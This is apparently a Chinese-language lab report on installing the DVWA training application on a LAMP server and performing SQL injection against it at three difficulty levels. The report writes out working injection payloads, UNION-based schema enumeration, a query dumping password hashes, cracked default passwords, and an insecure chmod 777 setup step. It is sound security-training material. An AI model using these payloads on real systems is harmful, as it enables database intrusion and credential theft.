[关闭]
@rg070836rg 2016-10-11T15:38:36.000000Z 字数 2477 阅读 3460

DVWA测试报告

网络安全


1 购买服务器

tu1

2 搭建LAMP平台

2.1 安装 Apache:

输入命令

  1. sudo apt-get install apache2

tu2

2.2 安装MySQL:

输入命令

  1. sudo apt-get install mysql-server

tu3

2.3 安装PHP:

输入命令

  1. sudo apt-get install php5

tu4

2.4 安装phpmyadmin

输入命令

  1. sudo apt-get install phpmyadmin

tu5

2.5 更改目录权限/创建管理链接

  1. sudo chmod 777 /var/www
  2. sudo ln -s /usr/share/phpmyadmin /var/www/html/

tu6

2.6 测试管理页面

浏览器中输入ip/phpmyadmin,输入设定的用户名密码即可。

图7

3 安装DVWA

3.1 从官网上下载DVWA包

附下载链接:DVWA-1.9.zip未知大小

图08

3.2 将包传送到服务器中

利用winscp,将包传送至/var/www/html中

图09

3.3 配置config.inc.php

  1. vim /var/www/html/DVMA/config/config.inc.php
修改数据库用户名及密码:

TU10

3.4 Create / Reset Database

如下图,点击Create / Reset Database

图11

若成功如下,失败请检查mysql等服务

12

3.5 进入DVMA

用户名密码默认为admin/password

13.png-21.7kB
DVMA主界面
14.png-146.8kB

4 什么是DVMA

  1. DVWA是一个网络攻防平台,Web渗透测试演练系统,是基于 php mysql 的虚拟 Web 应用,“内置”常见的 Web 漏洞

5 low级别SQL注入试验

①首先,我们点击sql Injection 进行sql注入测试;
②分析源码;
③输入 ' or 1=1 #
OXHYQM0WM00VSLAO)_SWTTX.png-8.8kB

  1. SELECT first_name, last_name FROM users WHERE user_id = '' or 1=1 #

④说明这个网站 存在sql注入点
⑤从源码我们很容易看到 查询的字段是2个,但如果我们没有源码,我们可以通过union进行字段数目猜测

  1. union select 1,2 #

⑤知道了字段数目之后,我们可以获得数据库版本和数据库名

  1. ' union select user(),database() #

3JKD7U399398SW0`YY1AF63.png-3.8kB
⑥同时也能查出数据库中表的名字

  1. ' union select table_name,2 from information_schema.tables where table_schema='dvwa' #

image_1auk93k75439ml7hua1h7rd609.png-9kB
我们查出数据库的表名为guestbook和users
⑦我们继续查表里面的字段名

  1. ' union select column_name,2 from information_schema.columns where table_name='users' #

image_1auk97qgj107212scq4u15n1ahum.png-21kB
很容易发现,有user_id first_name last_name user password avatar这几个字段
⑧尝试获取user以及password

  1. ' union select user,password from users #

image_1auk9pntr1li7n9k8pf1isk11pc13.png-17.5kB
⑨尝试破解密码
密码共有32位,猜测其为md5码,百度一个可以反向解析md5的网站http://pmd5.com/
很快,解析出了密码:

  1. admin
  2. 5f4dcc3b5aa765d61d8327deb882cf99----password
  3. gordonb
  4. e99a18c428cb38d5f260853678922e03----abc123
  5. 1337
  6. 8d3533d75ae2c3966d7e0d4fcc69216b----charley
  7. pablo
  8. 0d107d09f5bbe40cade3de5c71e9e9b7----letmein
  9. smithy
  10. 5f4dcc3b5aa765d61d8327deb882cf99----password

6 medium级别SQL注入试验

①分析源码

  1. $id = $_GET['id'];
  2. $id = mysql_real_escape_string($id);
  3. $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";

发现多了一段函数mysql_real_escape_string(),它能够过滤一定的特殊符号,用"\"去转义他们。所以我们之前用的' or 1=1 #已经不起作用了。

但同时,我们发现sql语句也发生了变化,现在变成了数字型。

②这样表明,我们不需要考虑引号的匹配带来的错误,直接用下面的注入方式

  1. 1 and 1=1

③后续的操作基本和前面一样。

7 high级别SQL注入试验

①分析源码

  1. $id = $_GET['id'];
  2. $id = stripslashes($id);
  3. $id = mysql_real_escape_string($id);
  4. if (is_numeric($id)){
  5. $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
这边这输入之后,调用函数stripslashes()删除反斜杠,然后在执行sql语句之前,首先判定类型是否为数字型,如不是则不执行,这样就让and、or、select等语句都无法执行了。但实际查询时候又重新拼接成字符型,所以这样用普通的sql注入方式已经不能够达到,页面相对安全。

8 sql注入方式预防

添加新批注
在作者公开此批注前,只有你和作者可见。
回复批注